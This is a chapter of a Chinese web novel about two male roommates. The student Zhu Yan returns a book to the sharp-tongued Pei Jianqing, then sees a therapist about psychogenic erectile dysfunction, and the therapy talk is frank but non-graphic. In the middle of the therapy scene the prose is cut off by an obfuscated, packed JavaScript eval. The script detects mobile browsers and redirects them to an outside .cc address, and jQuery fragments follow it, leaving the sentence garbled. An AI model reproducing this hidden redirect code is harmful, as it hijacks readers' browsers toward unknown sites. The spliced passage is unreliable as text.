6. 隐疾

作品:《室友让我每天给他晚安吻

    经过一上午文学雅史和革命之光熏陶,教室门开,一堆晕乎乎的学生崽新鲜出炉。


    祝言是一条天狗,挤在人群最前面,他飞奔,他狂叫,他燃烧——


    冲去了食堂。


    食堂正是最热闹的时候,祝言刚吃完就碰见了夏舟那对小情侣,闲聊几句,一听宋令打算给他介绍女生认识,干笑着抱拳告辞,转头就去找裴见青还书了。


    社团都有专门的活动室,因为早上和裴见青分开前记得听他说过要去辩论社,祝言直奔那栋教学楼。


    不久后就是与隔壁大学的联合校庆,篮球赛辩论会这类活动必不可少,各个社团也都在忙活,祝言刚到一楼就听见了有人在喊裴见青的名字。


    辩论社半扇教室门掩着,祝言从门后探出半个头迅速瞄了眼。


    半U型教室分别每一排都坐了些人,讲台有人慷慨激昂说着话,身后屏幕显示出排版密密麻麻的文稿。


    坐在靠中位置的裴见青,修长的两条腿交叠,微垂着眼,注意力更像是落在面前的砖头书,手指捏着纸张轻轻翻动了一下,直到旁边的人递来杯咖啡,他才抬眼接过。


    好沉浸的文学氛围。


    祝言收回视线,退到走廊的窗边靠着,决定先等等再说。


    热气腾腾的咖啡还带着奶香,裴见青礼貌道了谢,随手摆到桌角。


    做出一个决定可以成为推拒其他邀约的借口,前提是这个决定是理智的,也不是通过抓阄产生的。


    只是集中讨论的第一天,后续还有辩稿、攻防表,然而仅是看一眼当前逻辑混乱的立论分析,足以令裴见青发自内心地认为,有的人花费大量精力生产垃圾,偶尔摆烂不失为一个好选择。


    讲台上的人变成另一位成员,指尖的笔杆旋转了一百六十圈,裴见青翻过一页书,偏头的一瞬,走廊里的身影撞进眼角余光。


    刚绕过食指的中性笔骤然一停,笔尖在纸页出洇出一点黑墨。


    “嘬嘬嘬。”


    祝言发现了只趴在窗沿睡懒觉的黄狸花,毛毛被太阳晒得冒暖气,垂了半截尾巴在墙壁晃悠。


    黄狸花耳朵动了动,支起头,眼睛微眯着看了他一眼,重新倒下继续睡。


    很快有只手覆过来,不停地顺着摸,逆着摸,再顺着摸……


    黄狸花被折腾得烦了,四爪朝天仰躺起来,拉面条似的舒展拉伸。


    祝言趁机将指头陷入软绵绵的肚皮,连戳好几下,没想到现在的大学生这么没有边界感,黄狸花后腿蹬了蹬,猛地翻身——


    “诶,我去!”


    一团大麻薯滑落窗台,祝言连忙伸手,结果想捞却没捞住,树叶飞起,黄狸花已经钻出窗外的树叶堆,脑袋顶着片红叶,脸色很臭地往上瞧。


    祝言缓缓缩回手臂,动作透露出三分无助三分拘谨以及四分做贼心虚。


    “怎么了?”


    社长从堪称精妙严密的文稿中抬头,满是疑惑地看着身旁突然起身的作者。


    “室友找我。”


    裴见青简单说了声,起身准备往外走。


    “不是集中讨论吗,进进出出的,想偷懒也别耽误别人的时间啊……”


    裴见青脚步一顿,侧着身子望过去。


    正在讲台发言的邓回轩满脸不耐烦,来回翻动手里的文稿。


    本想杀杀新人的锐气,一抬眼,裴见青目光里的淡漠刺得他喉咙卡壳,仿佛色厉内茬的本质被一秒看穿。


    挂在眼角眉梢那抹温和的笑意褪去后,裴见青更像是游离于人群的贵胄,哪怕下一秒他便微微欠身,嘴上说出表示歉意的话,如鹰隼般锐利的目光也会毫不掩饰自己的鄙夷与厌恶。


    就如同现在,裴见青并未移开目光。


    直到对方努力调整着呼吸,直到对方手里的纸页因为不自在而捏出折痕,直到身旁的社长准备起身打圆场——


    “抱歉。”


    裴见青仿佛欣赏够了他人的窘态,兀地笑了笑,“听你讲述论据除了能磨炼耐心外,就像在往耳朵里倾倒垃圾,现在就当给我一点清理的空当吧。”


    平和舒缓的语调飘过来,刻薄得像道耳刮子,邓回轩又是气愤又是难堪。


    裴见青恍若未觉,礼貌地与其他人点了点头,继续往门外走去。


    “哟!”


    祝言知道辩论社只要一开会讨论,屁股就像生根发芽长在凳子上。


    看到裴见青出来,祝言相当意外,尤其是他身后的人面红耳赤像吃了炸药放闷炮一样,好奇问他,“你和那男的吵架了?”


    “怎么会,他单方面比较情绪外放。”


    裴见青边说边朝祝言走近,话题转回他身上,“找我有事?”


    祝言拉开书包,往里翻腾:“对啊,还你书。”


    裴见青随手接住他包里掉出的数据线,绕圈缠好再丢进去:“大群通知下午临时调课了,今天用不上,你可以直接放回宿舍。”


    祝言翻书的动作突然变得迟缓,支支吾吾:“回宿舍也行……但是吧……”


    裴见青不觉得一点意外:“但是忘带钥匙。”


    祝言震惊:“不er,你怎么又知道了?”


    裴见青:“很难猜?你脸上都写着答案。”


    祝言拎着沉甸甸的书包,朝他摊手:“我等会儿要出校一趟,要不你把钥匙借我吧,我放了东西再走。”


    “不借。”


    “为啥?”


    “你的保管能力像黑洞。”


    裴见青拍掉他手心,“你其他书也给我,等会儿我要回宿舍,一起带回去。”


    “哇!谢谢你!”一下子省了不少事,祝言微笑灿烂地把书全部交给他。


    裴见青面不改色:“不客气,我是大好人。”


    卸重之后的书包瞬间瘪了一半,祝言轻松蹦出校门口,他摸出兜里震动了好几声的手机,点开微信,置顶的养狗交流群红数不停叠加。


    老祝:[上班真烦。]


    老祝:[大笨狗拍我看看。]


    妈妈:[图片]


    是一张小祝言脑袋卡栏杆的照片。


    老祝:[不是这只。]


    妈妈撤回了一条消息


    妈妈:[发错了。]


    妈妈:[图片][图片][图片]


    几张阿拉斯加趴在沙发打滚傻笑的照片嗖嗖滑过屏幕。


    祝言:[比比歪头.jpg]


    不是,几个意思?我不比家里那只大傻狗好看多了?


    祝言刚想怒斥老祝这等挑剔的行为,就看见妈妈给他私发了消息。


    妈妈:[乖乖,李医生说他最近在青城开会,复诊的时间要到了,记得去找他哦。]


    祝言很快回复自己正准备去,翻出保存的地址,在路边打了个车。


    绿牌白车在一家私人心理诊所门口停下,祝言由接待护士小姐引进会诊室。


    安静舒适的暖色调房间充满安全感,徐医生没有让祝言去治疗椅躺下,端了两杯热茶放到茶几,示意他过来坐。


    “开学也有一段时间了,和我聊聊新环境如何?”


    这并不是很难回答的问题,课业,篮球社,以及人际关系,祝言也只是略微犹豫了下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266360|166590||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,将与前室友的矛盾也一起说了。


    徐医生翻阅起标注祝言名字的病历册,很耐心地听完。


    对于正是自尊心作祟时期的男性来讲,心理性ED这类隐疾堪称毁灭性打击,面前的祝言从不讳疾忌医,比起或是郁郁寡欢或是自卑易怒的人来讲,简直与常人无异,然而病情几年下来依旧没有好转的迹象。


    “最近有过性冲动吗?”


    “……没有。”


    “自己动手呢?”


    “洗澡时试过一次,不行,就算了。”


    徐医生缓缓蹙眉,起初他开始以为是祝言高中时期有学业压力的影响,如今已经顺利考上大学,甚至还是名校,进展还在原地踏步,就有些不正常了。


    注意到几次问话让祝言变得开始紧张,轻柔舒缓的音乐渐渐响起,徐医生放下遥控器,起身点了盘熏香。


    这是祝言相当熟悉的疗程,安静地闭上眼睛,往后躺进柔软的沙发。


    旁人轻轻松松顶多介入一点颜色读物,就能轻而易举进入的性.幻想,祝言却像是在做一道数学难题,拼尽全力写一个“解”。


    徐医生逐渐空灵的声音,将他拉入编织的梦境,一点点场景在脑内描绘成形,就在一起都顺利时——


    耳边仿佛蝉鸣乍响,祝言瞬间看见那个记忆深处的画面,胃部的快速抽动令他整个人变了脸色。


    “停下,停下,祝言。”


    几乎是伴随着全身痉挛,祝言睁眼的瞬间迅速起身,扑到垃圾桶痛苦干呕。


    “还好吗,先缓一缓,我们不着急。”


    徐医生将纸巾盒递过来。


    祝言徒自喘气,往纸巾盒里簌簌抽了几张纸擦了擦嘴,露出一副做错事的模样:“对不起……徐医生……”


    徐医生戴上老花镜,翻开病历册一边记录,一边摇头笑道:“不需要道歉,祝言,你不是在完成我交给你的任务,这只是一次尝试而已。”


    “看起来是失败了,我没有办法,一想到性,我就会想起过去那件事。”祝言很沮丧,破罐破摔道,“或者您干脆给我开点药吧?”


    “药物顶多帮助你短期改善情况,但治标不治本,效果也只是暂时性的。”


    徐医生拒绝了他的提议,“你总不能以后发生性.关系前,同对方说,亲爱的别急,我得去吃颗小药丸预热一下吧?”


    祝言呆了半晌,脑海里想象了一下那场景,尴尬的情绪顿时将他包裹。


    徐医生放缓了声音:“勃.起是最终结果,但不是你要达到的第一步。我们首先的目标是缓解你的抵触心理,看看片子、小说,总之什么都好,不同类型的都看看配合自.慰,当然我更期望你现实里尝试与人接触。”


    祝言垮着脸听医生说完,咚一声砸回沙发椅背:“听起来好难。”


    他就连看片都打瞌睡,更别提和人探讨性.行为。


    “万事开头难,如果身边有不排斥的对象可以试试。”


    徐医生合上病历本,笑着说,“循序渐进地进行外部刺激,哪怕是从一个吻开始。”


    祝言似懂非懂:“哦……”


    徐医生笑眯眯地问:“所以最近你身边有令你觉得相处舒服的人吗?”


    “嗯……额……这个……”祝言抓了抓头发,脑子里突然蹦出个人名,将他脸色显得充满了为难与纠结。


    徐医生耐心问:“怎么了?”


    祝言小声:“这个人一定得是女的吗?”


    徐医生一怔,默然半晌,重新翻开病历本提笔记录:“很刺激,看起来你痊愈的进度可以拉快一点。”